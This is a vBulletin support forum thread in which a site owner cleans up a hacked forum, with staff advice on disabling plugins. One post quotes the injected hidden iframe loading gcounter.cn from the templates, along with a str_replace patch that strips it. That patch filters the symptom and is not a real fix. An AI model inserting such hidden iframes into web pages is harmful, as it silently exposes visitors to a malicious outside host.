Bloodhound / hacked

[hyppa]

My forum has been hacket, and we have had a profeccional team to work to try and solve the problem.

First we had to remove the portal, and then parts of the phpcode.

This is so called bad-links.

Also discovered some strange things when i log on:


gcounter.cn


?




We are still infected here:

http://www.xxxxxx.com/xxxxxx/index.php

How can i solve this?

Will this dessapear if we upgrade?


Before logging in we get this errorcode:

Jeg snakker om feilmeldingene:

Warning: array_merge() [function.array-merge]: Argument #2 is not an array in /index.php(537) : eval()'d code on line 160

Warning: array_merge() [function.array-merge]: Argument #2 is not an array in /index.php(537) : eval()'d code on line 236



I assume that is because the Symatec team has removed some of the original php code to try and solve this.


It dissepears after logging in.






So my question is:


How solve this?

By upgrading?


No point upgrading from 3.6.8, to latest if the hack is still there.

[Steve Machol]

That specific error is from a plugin you've installed. You need to disable each of your plugins then turn one at a time to see which one is causing this.

If you cannot log into the Admin CP then to disable the plugin system, edit config.php and add this line right under <?php

define('DISABLE_HOOKS', true);

This will disable all hooks and allow you to log in properly with no hooks running.

http://www.vbulletin.com/docs/html/disable_plugins

Please see this thread on how to make your vBulletin more secure:

http://www.vbulletin.com/go/secure

If you are still being hacked after doing all of this, then they are most likely doing this by accessing your server. You need to contact your host about this.

[hyppa]

Hi.


I had to


find this code in all the templates:



<iframe src=http://gcounter.cn style=display:none></iframe>


and remove it.

and then stop the virus/hack by doing this:


change include/functions.php line 4925

$output = process_replacement_vars($vartext);

to

$output = str_replace("<iframe src=http://gcounter.cn
style=display:none></iframe>","",process_replacement_vars($vartext));





So it was gcounter that was the problem.

[hyppa]

That specific error is from a plugin you've installed. You need to disable each of your plugins then turn one at a time to see which one is causing this.

If you cannot log into the Admin CP then to disable the plugin system, edit config.php and add this line right under <?php

define('DISABLE_HOOKS', true);

This will disable all hooks and allow you to log in properly with no hooks running.

http://www.vbulletin.com/docs/html/disable_plugins

Please see this thread on how to make your vBulletin more secure:

http://www.vbulletin.com/go/secure

If you are still being hacked after doing all of this, then they are most likely doing this by accessing your server. You need to contact your host about this.

I have tested this out and can not find any hack that causes this. Can this be because i have removed the portal?

[Steve Machol]

Possibly. I really don't know what modifications you made.

[hyppa]

Found it, it was actually two different hacks, but i had to find the combination.


THANKS.